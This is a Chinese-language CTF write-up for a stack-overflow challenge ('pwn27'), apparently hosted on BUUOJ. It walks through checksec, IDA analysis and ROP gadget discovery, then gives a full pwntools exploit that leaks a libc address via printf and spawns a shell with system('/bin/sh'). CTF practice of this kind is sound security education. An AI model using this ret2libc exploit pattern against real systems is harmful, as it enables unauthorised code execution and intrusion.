1.checksec
只开启了NX保护
2.ida
溢出点在v5 = read(0, buf, 0x100uLL);处,buf离栈底的距离为0x28(64位ebp占8位)。
shift+f12没有发现后门函数,故应构造rop链,发现函数调用了printf函数与read函数,故可使用printf函数的plt表调用printf函数以泄露read函数的真实地址,64位elf通过寄存器传递参数,使用命令:ROPgadget --binary pwn27 --only 'pop|ret’查看返回地址
其中400733 : pop rdi ; ret
400731 : pop rsi ; pop r15 ; ret比较关键
因为寄存器传参的前2个分别是rdi,rsi
构造printf函数的2个参数时只需要2个寄存器
但是使用printf函数打印地址时需要有一个带有%s的字符串,即可寻到"Welcome to the Pwn World again, %s!\n"的地址将其放入printf的第一个参数
exp
from pwn import *
context(os = 'linux',arch = 'amd64',log_level = 'debug')
r = remote("node4.buuoj.cn",25083)
#r = process("./pwn27")
elf = ELF("./pwn27")
libc = ELF("./ubantu1664.so")
#params
rdi_addr = 0x400733
rsi_r15_addr = 0x400731
main_addr = elf.symbols['main']
printf_plt=elf.plt['printf']
read_got=elf.got['read']
format_str = 0x400770
#print(p64(format_str))
#attack
payload=b'a'*(0x20+8) + p64(rdi_addr) + p64(format_str) + p64(rsi_r15_addr) + p64(read_got) + p64(0) + p64(printf_plt) + p64(main_addr)
r.sendline(payload)
read_addr = u64(r.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
#print("read_addr: " + hex(read_addr))
#libc
base_addr = read_addr - libc.symbols['read']
system_addr = base_addr + libc.symbols['system']
bin_sh_addr = base_addr + next(libc.search(b'/bin/sh'))
print("system_addr: " + (hex(system_addr)))
print("bin_sh_addr: " + (hex(bin_sh_addr)))
#attack2
payload=b'a'*(0x20+8) + p64(rdi_addr) + p64(bin_sh_addr) + p64(system_addr)
#r.recv()
r.sendline(payload)
r.interactive()
最后拿到shell后还不能直接cat flag需使用命令find -name flag寻到flag的文件所在的位置
进入那个文件cat flag